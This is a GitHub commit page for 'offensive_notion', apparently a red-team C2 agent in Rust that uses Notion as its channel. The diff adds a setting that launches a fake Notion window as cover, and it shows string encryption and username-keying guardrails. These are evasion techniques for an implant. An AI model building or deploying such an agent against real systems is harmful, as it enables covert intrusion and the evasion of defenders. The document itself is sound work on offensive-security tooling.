Skip to content

Commit

Permalink
Merge pull request #112 from mttaggart/dev
Browse files Browse the repository at this point in the history
Dev
  • Loading branch information
mttaggart authored Apr 26, 2022
2 parents 3870093 + a608b4b commit 503fc25
Show file tree
Hide file tree
Showing 5 changed files with 29 additions and 24 deletions.
2 changes: 1 addition & 1 deletion agent/Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion agent/Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[package]
name = "offensive_notion"
version = "1.2.0"
version = "1.2.1"
edition = "2021"
build = "build.rs"

Expand Down
22 changes: 13 additions & 9 deletions agent/src/config.rs
Original file line number Diff line number Diff line change
Expand Up @@ -14,8 +14,9 @@ pub const DEFAULT_API_KEY: &str = "<<API_KEY>>";
pub const DEFAULT_PARENT_PAGE_ID: &str = "<<PARENT_PAGE_ID>>";
pub const DEFAULT_SLEEP_INTERVAL: &str = "<<SLEEP>>";
pub const DEFAULT_JITTER_TIME: &str = "<<JITTER>>";
pub const DEFAULT_LAUNCH_APP: &str = "<<LAUNCH_APP>>";
pub const DEFAULT_LOG_LEVEL: &str = "<<LOG_LEVEL>>";
pub const CONFIG_FILE_PATH: &str = "./cfg.json";
pub const DEFAULT_CONFIG_FILE_PATH: &str = "./cfg.json";
pub const DEFAULT_ENV_CHECKS: &str = "<<ENV_CHECKS>>";

/// Enum for ConfigOptions, useful for parsing configs from
Expand Down Expand Up @@ -115,10 +116,10 @@ pub fn get_config_options_debug() -> Result<ConfigOptions, Box<dyn Error + Send
io::stdout().flush()?;
stdin.read_line(&mut log_level)?;

let mut key_username = String::new();
println!("[*] Enter username to key off > ");
let mut launch_app = String::new();
println!("[*] Launch App (Windows/Linux only) (y/n)? > ");
io::stdout().flush()?;
stdin.read_line(&mut key_username)?;
stdin.read_line(&mut launch_app)?;

Ok(
ConfigOptions {
Expand All @@ -127,7 +128,10 @@ pub fn get_config_options_debug() -> Result<ConfigOptions, Box<dyn Error + Send
parent_page_id: parent_page_id.trim().to_string(),
api_key: api_key.trim().to_string(),
config_file_path: config_file_path.trim().to_string(),
launch_app: false,
launch_app: match launch_app.to_lowercase().as_str() {
"y" => true,
_ => false
},
log_level: log_level.trim().parse().unwrap(),
env_checks: Vec::new()
}
Expand All @@ -141,8 +145,8 @@ pub async fn get_config_options() -> Result<ConfigOptions, ConfigError> {
jitter_time: DEFAULT_JITTER_TIME.parse().unwrap_or_else(|_| 0),
parent_page_id: DEFAULT_PARENT_PAGE_ID.to_string(),
api_key: DEFAULT_API_KEY.to_string(),
config_file_path: CONFIG_FILE_PATH.to_string(),
launch_app: true,
config_file_path: DEFAULT_CONFIG_FILE_PATH.to_string(),
launch_app: DEFAULT_LAUNCH_APP.parse().unwrap_or_default(),
log_level: DEFAULT_LOG_LEVEL.parse().unwrap_or_else(|_| 2),
env_checks: from_str(DEFAULT_ENV_CHECKS).unwrap_or_else(|_| Vec::new())
};
Expand All @@ -152,14 +156,14 @@ pub async fn get_config_options() -> Result<ConfigOptions, ConfigError> {

/// Ingests config from a saved JSON file—or tries to.
///
/// If `None` is passed as the path, the `CONFIG_FILE_PATH` is attempted.
/// If `None` is passed as the path, the `DEFAULT_CONFIG_FILE_PATH` is attempted.
///
/// If no config file can be parsed, defaults are used.
pub async fn load_config_options(c: Option<&str>) -> Result<ConfigOptions, ConfigError> {

let config_file_path = match c {
Some(p) => p,
None => CONFIG_FILE_PATH
None => DEFAULT_CONFIG_FILE_PATH
};

if let Ok(c) = fs::read_to_string(config_file_path) {
Expand Down
18 changes: 6 additions & 12 deletions agent/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -87,24 +87,18 @@ async fn main() -> Result<(), Box<dyn std::error::Error>> {
}
#[cfg(target_os = "linux")] {
browser_cmd = lc!("/usr/local/bin/google-chrome");
match Command::new(browser_cmd)
.arg("--app=https://notion.so")
.spawn() {
Ok(_) => {logger.info(lc!("Launching browser"));},
Err(e) => {logger.err(e.to_string());}
};
}
#[cfg(target_os = "macos")] {
// For Mac, since we can't launch Chrome, we're gonna have to
// Hope Chrome is there for us to abuse.
browser_cmd = lc!("/Applications/Google Chrome.app/Contents/MacOS/Google Chrome");
match Command::new(browser_cmd)
.arg("--app=https://notion.so")
.spawn() {
Ok(_) => {logger.info(lc!("Launching browser"));},
Err(e) => {logger.err(e.to_string());}
};
}
match Command::new(browser_cmd)
.arg("--app=https://notion.so")
.spawn() {
Ok(_) => {logger.info(lc!("Launching browser"));},
Err(e) => {logger.err(e.to_string());}
};
}

// Before anything else happens, we key to the env if the config has been set.
Expand Down
9 changes: 8 additions & 1 deletion main.py
Original file line number Diff line number Diff line change
Expand Up @@ -120,6 +120,12 @@ def take_in_vars():
important + "Enter the key to use to encrypt your agent's strings [default is 'offensivenotion']", "offensivenotion")
print(good + "Encryption key: {}".format(litcrypt_key))

# Launch App
launch_app = ask_for_input(
important + "Launch fake Notion app (Windows/Linux only) (y/N)?", "n")
launch_app = "true" if launch_app == "y" else "false"
print(good + "Launch App: {}".format(launch_app))

print(important + "Guardrails!")
env_checks = []
key_username = ask_for_input(important + "Enter a username to key off. [Leave blank for no keying to username]", "")
Expand All @@ -140,7 +146,8 @@ def take_in_vars():
"API_KEY": api_key,
"PARENT_PAGE_ID": parent_page_id,
"LOG_LEVEL": str(log_level),
"LITCRYPT_KEY": litcrypt_key,\
"LITCRYPT_KEY": litcrypt_key,
"LAUNCH_APP": launch_app,
# "[{\"Username\": \"husky\"}]"
"ENV_CHECKS": env_checks
}
Expand Down

0 comments on commit 503fc25

Please sign in to comment.